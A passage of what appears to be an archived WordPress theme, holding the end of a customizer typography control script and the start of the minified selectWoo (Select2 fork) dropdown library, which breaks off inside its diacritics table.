newValue['font-size'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateLineHeight : function () { var control = this, val = control.setting._value, input = control.container.find( '.typography-hidden-value' ), newValue = { 'line-height' : {} }; control.container.find( '.line-height .control-wrap' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); var device = jQuery( this ).find( 'input' ).data( 'device' ); newValue['line-height'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); }, updateLetterSpacing : function () { var control = this, val = control.setting._value, input = control.container.find( '.typography-hidden-value' ), newValue = { 'letter-spacing' : {} }; control.container.find( '.letter-spacing .control-wrap' ).each( function () { var controlValue = jQuery( this ).find( 'input' ).val(); var device = jQuery( this ).find( 'input' ).data( 'device' ); newValue['letter-spacing'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. jQuery.extend( val, newValue ); jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); } } ); core/custom-controls/assets/js/selectWoo.min.js000066600000204562152367043330015674 0ustar00!function(n){"function"==typeof define&&define.amd?define(["jquery"],n):"object"==typeof module&&module.exports?module.exports=function(e,t){return void 0===t&&(t="undefined"!=typeof window?require("jquery"):require("jquery")(e)),n(t),t}:n(jQuery)}(function(t){var e,n,o,p,s,r,h,f,g,m,y,v,i,a,_,o=(t&&t.fn&&t.fn.select2&&t.fn.select2.amd&&(u=t.fn.select2.amd),u&&u.requirejs||(u?n=u:u={},g={},m={},y={},v={},i=Object.prototype.hasOwnProperty,a=[].slice,_=/\.js$/,h=function(e,t){var n,o,i=c(e),s=i[0],t=t[1];return e=i[1],s&&(n=A(s=l(s,t))),s?e=n&&n.normalize?n.normalize(e,(o=t,function(e){return l(e,o)})):l(e,t):(s=(i=c(e=l(e,t)))[0],e=i[1],s&&(n=A(s))),{f:s?s+"!"+e:e,n:e,pr:s,p:n}},f={require:function(e){return b(e)},exports:function(e){var t=g[e];return void 0!==t?t:g[e]={}},module:function(e){return{id:e,uri:"",exports:g[e],config:(t=e,function(){return y&&y.config&&y.config[t]||{}})};var t}},s=function(e,t,n,o){var i,s,r,a,l,c=[],u=typeof n,d=x(o=o||e);if("undefined"==u||"function"==u){for(t=!t.length&&n.length?["require","exports","module"]:t,a=0;a<t.length;a+=1)if("require"===(s=(r=h(t[a],d)).f))c[a]=f.require(e);else if("exports"===s)c[a]=f.exports(e),l=!0;else if("module"===s)i=c[a]=f.module(e);else if(w(g,s)||w(m,s)||w(v,s))c[a]=A(s);else{if(!r.p)throw new Error(e+" missing "+s);r.p.load(r.n,b(o,!0),function(t){return function(e){g[t]=e}}(s),{}),c[a]=g[s]}u=n?n.apply(g[e],c):void 0,e&&(i&&i.exports!==p&&i.exports!==g[e]?g[e]=i.exports:u===p&&l||(g[e]=u))}else e&&(g[e]=n)},e=n=r=function(e,t,n,o,i){if("string"==typeof e)return f[e]?f[e](t):A(h(e,x(t)).f);if(!e.splice){if((y=e).deps&&r(y.deps,y.callback),!t)return;t.splice?(e=t,t=n,n=null):e=p}return t=t||function(){},"function"==typeof n&&(n=o,o=i),o?s(p,e,t,n):setTimeout(function(){s(p,e,t,n)},4),r},r.config=function(e){return r(e)},e._defined=g,(o=function(e,t,n){if("string"!=typeof e)throw new Error("See almond README: incorrect module build, no module name");t.splice||(n=t,t=[]),w(g,e)||w(m,e)||(m[e]=[e,t,n])}).amd={jQuery:!0},u.requirejs=e,u.require=n,u.define=o),u.define("almond",function(){}),u.define("jquery",[],function(){var e=t||$;return null==e&&console&&console.error&&console.error("Select2: An instance of jQuery or a jQuery-compatible library was not found. Make sure that you are including jQuery before Select2 on your web page."),e}),u.define("select2/utils",["jquery"],function(s){var e={};function c(e){var t,n=e.prototype,o=[];for(t in n){"function"==typeof n[t]&&"constructor"!==t&&o.push(t)}return o}e.Extend=function(e,t){var n,o={}.hasOwnProperty;function i(){this.constructor=e}for(n in t)o.call(t,n)&&(e[n]=t[n]);return i.prototype=t.prototype,e.prototype=new i,e.__super__=t.prototype,e},e.Decorate=function(o,i){var e=c(i),t=c(o);function s(){var e=Array.prototype.unshift,t=i.prototype.constructor.length,n=o.prototype.constructor;0<t&&(e.call(arguments,o.prototype.constructor),n=i.prototype.constructor),n.apply(this,arguments)}i.displayName=o.displayName,s.prototype=new function(){this.constructor=s};for(var n=0;n<t.length;n++){var r=t[n];s.prototype[r]=o.prototype[r]}for(var a=0;a<e.length;a++){var l=e[a];s.prototype[l]=function(e){var t=function(){};e in s.prototype&&(t=s.prototype[e]);var n=i.prototype[e];return function(){return Array.prototype.unshift.call(arguments,t),n.apply(this,arguments)}}(l)}return s};function t(){this.listeners={}}return t.prototype.on=function(e,t){this.listeners=this.listeners||{},e in this.listeners?this.listeners[e].push(t):this.listeners[e]=[t]},t.prototype.trigger=function(e){var t=Array.prototype.slice,n=t.call(arguments,1);this.listeners=this.listeners||{},null==n&&(n=[]),0===n.length&&n.push({}),(n[0]._type=e)in this.listeners&&this.invoke(this.listeners[e],t.call(arguments,1)),"*"in this.listeners&&this.invoke(this.listeners["*"],arguments)},t.prototype.invoke=function(e,t){for(var n=0,o=e.length;n<o;n++)e[n].apply(this,t)},e.Observable=t,e.generateChars=function(e){for(var t="",n=0;n<e;n++){t+=Math.floor(36*Math.random()).toString(36)}return t},e.bind=function(e,t){return function(){e.apply(t,arguments)}},e._convertData=function(e){for(var t in e){var n=t.split("-"),o=e;if(1!==n.length){for(var i=0;i<n.length;i++){var s=n[i];(s=s.substring(0,1).toLowerCase()+s.substring(1))in o||(o[s]={}),i==n.length-1&&(o[s]=e[t]),o=o[s]}delete e[t]}}return e},e.hasScroll=function(e,t){var n=s(t),o=t.style.overflowX,i=t.style.overflowY;return(o!==i||"hidden"!==i&&"visible"!==i)&&("scroll"===o||"scroll"===i||(n.innerHeight()<t.scrollHeight||n.innerWidth()<t.scrollWidth))},e.escapeMarkup=function(e){var t={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};return"string"!=typeof e?e:String(e).replace(/[&<>"'\/\\]/g,function(e){return t[e]})},e.appendMany=function(e,t){var n;"1.7"===s.fn.jquery.substr(0,3)&&(n=s(),s.map(t,function(e){n=n.add(e)}),t=n),e.append(t)},e.isTouchscreen=function(){return void 0===e._isTouchscreenCache&&(e._isTouchscreenCache="ontouchstart"in document.documentElement),e._isTouchscreenCache},e}),u.define("select2/results",["jquery","./utils"],function(d,e){function o(e,t,n){this.$element=e,this.data=n,this.options=t,o.__super__.constructor.call(this)}return e.Extend(o,e.Observable),o.prototype.render=function(){var e=d('<ul class="select2-results__options" role="listbox" tabindex="-1"></ul>');return this.options.get("multiple")&&e.attr("aria-multiselectable","true"),this.$results=e},o.prototype.clear=function(){this.$results.empty()},o.prototype.displayMessage=function(e){var t=this.options.get("escapeMarkup");this.clear(),this.hideLoading();var n=d('<li role="alert" aria-live="assertive" class="select2-results__option"></li>'),o=this.options.get("translations").get(e.message);n.append(t(o(e.args))),n[0].className+=" select2-results__message",this.$results.append(n)},o.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()},o.prototype.append=function(e){this.hideLoading();var t=[];if(null!=e.results&&0!==e.results.length){e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var o=e.results[n],o=this.option(o);t.push(o)}this.$results.append(t)}else 0===this.$results.children().length&&this.trigger("results:message",{message:"noResults"})},o.prototype.position=function(e,t){t.find(".select2-results").append(e)},o.prototype.sort=function(e){return this.options.get("sorter")(e)},o.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[data-selected]"),t=e.filter("[data-selected=true]");(0<t.length?t:e).first().trigger("mouseenter"),this.ensureHighlightVisible()},o.prototype.setClasses=function(){var t=this;this.data.current(function(e){var o=d.map(e,function(e){return e.id.toString()});t.$results.find(".select2-results__option[data-selected]").each(function(){var e=d(this),t=d.data(this,"data"),n=""+t.id;null!=t.element&&t.element.selected||null==t.element&&-1<d.inArray(n,o)?e.attr("data-selected","true"):e.attr("data-selected","false")})})},o.prototype.showLoading=function(e){this.hideLoading();e={disabled:!0,loading:!0,text:this.options.get("translations").get("searching")(e)},e=this.option(e);e.className+=" loading-results",this.$results.prepend(e)},o.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()},o.prototype.option=function(e){var t=document.createElement("li");t.className="select2-results__option";var n,o={role:"option","data-selected":"false",tabindex:-1};for(n in e.disabled&&(delete o["data-selected"],o["aria-disabled"]="true"),null==e.id&&delete o["data-selected"],null!=e._resultId&&(t.id=e._resultId),e.title&&(t.title=e.title),e.children&&(o["aria-label"]=e.text,delete o["data-selected"]),o){var i=o[n];t.setAttribute(n,i)}if(e.children){var s=d(t),r=document.createElement("strong");r.className="select2-results__group";var a=d(r);this.template(e,r),a.attr("role","presentation");for(var l=[],c=0;c<e.children.length;c++){var u=e.children[c],u=this.option(u);l.push(u)}a=d("<ul></ul>",{class:"select2-results__options select2-results__options--nested",role:"listbox"});a.append(l),s.attr("role","list"),s.append(r),s.append(a)}else this.template(e,t);return d.data(t,"data",e),t},o.prototype.bind=function(t,e){var i=this,n=t.id+"-results";this.$results.attr("id",n),t.on("results:all",function(e){i.clear(),i.append(e.data),t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("results:append",function(e){i.append(e.data),t.isOpen()&&i.setClasses()}),t.on("query",function(e){i.hideMessages(),i.showLoading(e)}),t.on("select",function(){t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("unselect",function(){t.isOpen()&&(i.setClasses(),i.highlightFirstItem())}),t.on("open",function(){i.$results.attr("aria-expanded","true"),i.$results.attr("aria-hidden","false"),i.setClasses(),i.ensureHighlightVisible()}),t.on("close",function(){i.$results.attr("aria-expanded","false"),i.$results.attr("aria-hidden","true"),i.$results.removeAttr("aria-activedescendant")}),t.on("results:toggle",function(){var e=i.getHighlightedResults();0!==e.length&&e.trigger("mouseup")}),t.on("results:select",function(){var e,t=i.getHighlightedResults();0!==t.length&&(e=t.data("data"),"true"==t.attr("data-selected")?i.trigger("close",{}):i.trigger("select",{data:e}))}),t.on("results:previous",function(){var e,t=i.getHighlightedResults(),n=i.$results.find("[data-selected]"),o=n.index(t);0!==o&&(e=o-1,0===t.length&&(e=0),(o=n.eq(e)).trigger("mouseenter"),t=i.$results.offset().top,n=o.offset().top,o=i.$results.scrollTop()+(n-t),0===e?i.$results.scrollTop(0):n-t<0&&i.$results.scrollTop(o))}),t.on("results:next",function(){var e,t=i.getHighlightedResults(),n=i.$results.find("[data-selected]"),o=n.index(t)+1;o>=n.length||((e=n.eq(o)).trigger("mouseenter"),t=i.$results.offset().top+i.$results.outerHeight(!1),n=e.offset().top+e.outerHeight(!1),e=i.$results.scrollTop()+n-t,0===o?i.$results.scrollTop(0):t<n&&i.$results.scrollTop(e))}),t.on("results:focus",function(e){e.element.addClass("select2-results__option--highlighted").attr("aria-selected","true"),i.$results.attr("aria-activedescendant",e.element.attr("id"))}),t.on("results:message",function(e){i.displayMessage(e)}),d.fn.mousewheel&&this.$results.on("mousewheel",function(e){var t=i.$results.scrollTop(),n=i.$results.get(0).scrollHeight-t+e.deltaY,t=0<e.deltaY&&t-e.deltaY<=0,n=e.deltaY<0&&n<=i.$results.height();t?(i.$results.scrollTop(0),e.preventDefault(),e.stopPropagation()):n&&(i.$results.scrollTop(i.$results.get(0).scrollHeight-i.$results.height()),e.preventDefault(),e.stopPropagation())}),this.$results.on("mouseup",".select2-results__option[data-selected]",function(e){var t=d(this),n=t.data("data");"true"!==t.attr("data-selected")?i.trigger("select",{originalEvent:e,data:n}):i.options.get("multiple")?i.trigger("unselect",{originalEvent:e,data:n}):i.trigger("close",{})}),this.$results.on("mouseenter",".select2-results__option[data-selected]",function(e){var t=d(this).data("data");i.getHighlightedResults().removeClass("select2-results__option--highlighted").attr("aria-selected","false"),i.trigger("results:focus",{data:t,element:d(this)})})},o.prototype.getHighlightedResults=function(){return this.$results.find(".select2-results__option--highlighted")},o.prototype.destroy=function(){this.$results.remove()},o.prototype.ensureHighlightVisible=function(){var e,t,n,o,i=this.getHighlightedResults();0!==i.length&&(e=this.$results.find("[data-selected]").index(i),o=this.$results.offset().top,t=i.offset().top,n=this.$results.scrollTop()+(t-o),o=t-o,n-=2*i.outerHeight(!1),e<=2?this.$results.scrollTop(0):(o>this.$results.outerHeight()||o<0)&&this.$results.scrollTop(n))},o.prototype.template=function(e,t){var n=this.options.get("templateResult"),o=this.options.get("escapeMarkup"),e=n(e,t);null==e?t.style.display="none":"string"==typeof e?t.innerHTML=o(e):d(t).append(e)},o}),u.define("select2/keys",[],function(){return{BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46}}),u.define("select2/selection/base",["jquery","../utils","../keys"],function(o,e,i){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=o('<span class="select2-selection" aria-haspopup="true" aria-expanded="false"></span>');return this._tabindex=0,null!=this.$element.data("old-tabindex")?this._tabindex=this.$element.data("old-tabindex"):null!=this.$element.attr("tabindex")&&(this._tabindex=this.$element.attr("tabindex")),e.attr("title",this.$element.attr("title")),e.attr("tabindex",this._tabindex),this.$selection=e},n.prototype.bind=function(e,t){var n=this,o=(e.id,e.id+"-results");this.options.get("minimumResultsForSearch");this.container=e,this.$selection.on("focus",function(e){n.trigger("focus",e)}),this.$selection.on("blur",function(e){n._handleBlur(e)}),this.$selection.on("keydown",function(e){n.trigger("keypress",e),e.which===i.SPACE&&e.preventDefault()}),e.on("results:focus",function(e){n.$selection.attr("aria-activedescendant",e.data._resultId)}),e.on("selection:update",function(e){n.update(e.data)}),e.on("open",function(){n.$selection.attr("aria-expanded","true"),n.$selection.attr("aria-owns",o),n._attachCloseHandler(e)}),e.on("close",function(){n.$selection.attr("aria-expanded","false"),n.$selection.removeAttr("aria-activedescendant"),n.$selection.removeAttr("aria-owns"),window.setTimeout(function(){n.$selection.focus()},1),n._detachCloseHandler(e)}),e.on("enable",function(){n.$selection.attr("tabindex",n._tabindex)}),e.on("disable",function(){n.$selection.attr("tabindex","-1")})},n.prototype._handleBlur=function(e){var t=this;window.setTimeout(function(){document.activeElement==t.$selection[0]||o.contains(t.$selection[0],document.activeElement)||t.trigger("blur",e)},1)},n.prototype._attachCloseHandler=function(e){o(document.body).on("mousedown.select2."+e.id,function(e){var t=o(e.target),n=t.closest(".select2");o(".select2.select2-container--open").each(function(){var e=o(this);this!=n[0]&&(e.data("element").select2("close"),setTimeout(function(){e.find("*:focus").blur(),t.focus()},1))})})},n.prototype._detachCloseHandler=function(e){o(document.body).off("mousedown.select2."+e.id)},n.prototype.position=function(e,t){t.find(".selection").append(e)},n.prototype.destroy=function(){this._detachCloseHandler(this.container)},n.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")},n}),u.define("select2/selection/single",["jquery","./base","../utils","../keys"],function(e,t,n,o){function i(){i.__super__.constructor.apply(this,arguments)}return n.Extend(i,t),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--single"),e.html('<span class="select2-selection__rendered"></span><span class="select2-selection__arrow" role="presentation"><b role="presentation"></b></span>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments);var o=t.id+"-container";this.$selection.find(".select2-selection__rendered").attr("id",o).attr("role","textbox").attr("aria-readonly","true"),this.$selection.attr("aria-labelledby",o),this.$selection.attr("role","combobox"),this.$selection.on("mousedown",function(e){1===e.which&&n.trigger("toggle",{originalEvent:e})}),this.$selection.on("focus",function(e){}),this.$selection.on("keydown",function(e){!t.isOpen()&&48<=e.which&&e.which<=90&&t.open()}),this.$selection.on("blur",function(e){}),t.on("focus",function(e){t.isOpen()||n.$selection.focus()}),t.on("selection:update",function(e){n.update(e.data)})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return e("<span></span>")},i.prototype.update=function(e){var t,n;0!==e.length?(t=e[0],n=this.$selection.find(".select2-selection__rendered"),e=this.display(t,n),n.empty().text(e),n.prop("title",t.title||t.text)):this.clear()},i}),u.define("select2/selection/multiple",["jquery","./base","../utils"],function(o,e,a){function i(e,t){i.__super__.constructor.apply(this,arguments)}return a.Extend(i,e),i.prototype.render=function(){var e=i.__super__.render.call(this);return e.addClass("select2-selection--multiple"),e.html('<ul class="select2-selection__rendered" aria-live="polite" aria-relevant="additions removals" aria-atomic="true"></ul>'),e},i.prototype.bind=function(t,e){var n=this;i.__super__.bind.apply(this,arguments),this.$selection.on("click",function(e){n.trigger("toggle",{originalEvent:e})}),this.$selection.on("click",".select2-selection__choice__remove",function(e){var t;n.options.get("disabled")||(t=o(this).parent().data("data"),n.trigger("unselect",{originalEvent:e,data:t}))}),this.$selection.on("keydown",function(e){!t.isOpen()&&48<=e.which&&e.which<=90&&t.open()}),t.on("focus",function(){n.focusOnSearch()})},i.prototype.clear=function(){this.$selection.find(".select2-selection__rendered").empty()},i.prototype.display=function(e,t){var n=this.options.get("templateSelection");return this.options.get("escapeMarkup")(n(e,t))},i.prototype.selectionContainer=function(){return o('<li class="select2-selection__choice"><span class="select2-selection__choice__remove" role="presentation" aria-hidden="true">×</span></li>')},i.prototype.focusOnSearch=function(){var e=this;void 0!==e.$search&&setTimeout(function(){e._keyUpPrevented=!0,e.$search.focus()},1)},i.prototype.update=function(e){if(this.clear(),0!==e.length){for(var t=[],n=0;n<e.length;n++){var o=e[n],i=this.selectionContainer(),s=this.display(o,i);"string"==typeof s&&(s=s.trim()),i.append(s),i.prop("title",o.title||o.text),i.data("data",o),t.push(i)}var r=this.$selection.find(".select2-selection__rendered");a.appendMany(r,t)}},i}),u.define("select2/selection/placeholder",["../utils"],function(e){function t(e,t,n){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n)}return t.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},t.prototype.createPlaceholder=function(e,t){var n=this.selectionContainer();return n.html(this.display(t)),n.addClass("select2-selection__placeholder").removeClass("select2-selection__choice"),n},t.prototype.update=function(e,t){var n=1==t.length&&t[0].id!=this.placeholder.id;if(1<t.length||n)return e.call(this,t);this.clear();t=this.createPlaceholder(this.placeholder);this.$selection.find(".select2-selection__rendered").append(t)},t}),u.define("select2/selection/allowClear",["jquery","../keys"],function(n,o){function e(){}return e.prototype.bind=function(e,t,n){var o=this;e.call(this,t,n),null==this.placeholder&&this.options.get("debug")&&window.console&&console.error&&console.error("Select2: The `allowClear` option should be used in combination with the `placeholder` option."),this.$selection.on("mousedown",".select2-selection__clear",function(e){o._handleClear(e)}),t.on("keypress",function(e){o._handleKeyboardClear(e,t)})},e.prototype._handleClear=function(e,t){if(!this.options.get("disabled")){var n=this.$selection.find(".select2-selection__clear");if(0!==n.length){t.stopPropagation();for(var o=n.data("data"),i=0;i<o.length;i++){var s={data:o[i]};if(this.trigger("unselect",s),s.prevented)return}this.$element.val(this.placeholder.id).trigger("change"),this.trigger("toggle",{})}}},e.prototype._handleKeyboardClear=function(e,t,n){n.isOpen()||t.which!=o.DELETE&&t.which!=o.BACKSPACE||this._handleClear(t)},e.prototype.update=function(e,t){e.call(this,t),0<this.$selection.find(".select2-selection__placeholder").length||0===t.length||((e=n('<span class="select2-selection__clear">×</span>')).data("data",t),this.$selection.find(".select2-selection__rendered").prepend(e))},e}),u.define("select2/selection/search",["jquery","../utils","../keys"],function(n,e,r){function t(e,t,n){e.call(this,t,n)}return t.prototype.render=function(e){var t=n('<li class="select2-search select2-search--inline"><input class="select2-search__field" type="text" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="textbox" aria-autocomplete="list" /></li>');this.$searchContainer=t,this.$search=t.find("input");e=e.call(this);return this._transferTabIndex(),e},t.prototype.bind=function(e,n,t){var o=this,i=n.id+"-results";e.call(this,n,t),n.on("open",function(){o.$search.attr("aria-owns",i),o.$search.trigger("focus")}),n.on("close",function(){o.$search.val(""),o.$search.removeAttr("aria-activedescendant"),o.$search.removeAttr("aria-owns"),o.$search.trigger("focus")}),n.on("enable",function(){o.$search.prop("disabled",!1),o._transferTabIndex()}),n.on("disable",function(){o.$search.prop("disabled",!0)}),n.on("focus",function(e){o.$search.trigger("focus")}),n.on("results:focus",function(e){o.$search.attr("aria-activedescendant",e.data._resultId)}),this.$selection.on("focusin",".select2-search--inline",function(e){o.trigger("focus",e)}),this.$selection.on("focusout",".select2-search--inline",function(e){o._handleBlur(e)}),this.$selection.on("keydown",".select2-search--inline",function(e){var t;e.stopPropagation(),o.trigger("keypress",e),o._keyUpPrevented=e.isDefaultPrevented(),e.which===r.BACKSPACE&&""===o.$search.val()?0<(t=o.$searchContainer.prev(".select2-selection__choice")).length&&(t=t.data("data"),o.searchRemoveChoice(t),e.preventDefault()):e.which===r.ENTER&&(n.open(),e.preventDefault())});var t=document.documentMode,s=t&&t<=11;this.$selection.on("input.searchcheck",".select2-search--inline",function(e){s?o.$selection.off("input.search input.searchcheck"):o.$selection.off("keyup.search")}),this.$selection.on("keyup.search input.search",".select2-search--inline",function(e){var t;s&&"input"===e.type?o.$selection.off("input.search input.searchcheck"):(t=e.which)!=r.SHIFT&&t!=r.CTRL&&t!=r.ALT&&t!=r.TAB&&o.handleSearch(e)})},t.prototype._transferTabIndex=function(e){this.$search.attr("tabindex",this.$selection.attr("tabindex")),this.$selection.attr("tabindex","-1")},t.prototype.createPlaceholder=function(e,t){this.$search.attr("placeholder",t.text)},t.prototype.update=function(e,t){var n=this.$search[0]==document.activeElement;this.$search.attr("placeholder",""),e.call(this,t),this.$selection.find(".select2-selection__rendered").append(this.$searchContainer),this.resizeSearch(),n&&this.$search.focus()},t.prototype.handleSearch=function(){var e;this.resizeSearch(),this._keyUpPrevented||(e=this.$search.val(),this.trigger("query",{term:e})),this._keyUpPrevented=!1},t.prototype.searchRemoveChoice=function(e,t){this.trigger("unselect",{data:t}),this.$search.val(t.text),this.handleSearch()},t.prototype.resizeSearch=function(){this.$search.css("width","25px");var e="";e=""!==this.$search.attr("placeholder")?this.$selection.find(".select2-selection__rendered").innerWidth():.75*(this.$search.val().length+1)+"em",this.$search.css("width",e)},t}),u.define("select2/selection/eventRelay",["jquery"],function(r){function e(){}return e.prototype.bind=function(e,t,n){var o=this,i=["open","opening","close","closing","select","selecting","unselect","unselecting"],s=["opening","closing","selecting","unselecting"];e.call(this,t,n),t.on("*",function(e,t){var n;-1!==r.inArray(e,i)&&(t=t||{},n=r.Event("select2:"+e,{params:t}),o.$element.trigger(n),-1!==r.inArray(e,s)&&(t.prevented=n.isDefaultPrevented()))})},e}),u.define("select2/translation",["jquery","require"],function(t,n){function o(e){this.dict=e||{}}return o.prototype.all=function(){return this.dict},o.prototype.get=function(e){return this.dict[e]},o.prototype.extend=function(e){this.dict=t.extend({},e.all(),this.dict)},o._cache={},o.loadPath=function(e){var t;return e in o._cache||(t=n(e),o._cache[e]=t),new o(o._cache[e])},o}),u.define("select2/diacritics",[],function(){return{"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":